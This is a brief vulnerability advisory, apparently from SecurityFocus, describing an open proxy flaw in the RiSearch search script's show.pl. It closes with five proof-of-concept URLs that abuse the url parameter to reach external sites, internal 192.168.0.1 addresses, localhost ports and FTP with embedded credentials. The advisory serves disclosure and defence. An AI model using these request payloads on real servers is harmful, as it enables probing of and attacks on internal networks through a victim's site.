11 lines
No EOL
801 B
Text
11 lines
No EOL
801 B
Text
source: https://www.securityfocus.com/bid/10812/info
|
|
|
|
RiSearch and RiSearch Pro are reported prone to an open proxy vulnerability. It is reported that the issue presents itself due to a lack of sufficient sanitization performed on user supplied URI parameters.
|
|
|
|
A remote attacker may exploit this condition in order to launch attacks against local and public services in the context of the site that is hosting the vulnerable script.
|
|
|
|
http://www.example.com/cgi-bin/search/show.pl?url=http://www.google.com
|
|
http://www.example.com/cgi-bin/search/show.pl?url=http://192.168.0.1
|
|
http://www.example.com/cgi-bin/search/show.pl?url=http://localhost:8080
|
|
http://www.example.com/cgi-bin/search/show.pl?url=ftp://192.168.0.1
|
|
http://www.example.com/cgi-bin/search/show.pl?url=ftp://username:password@192.168.0.1 |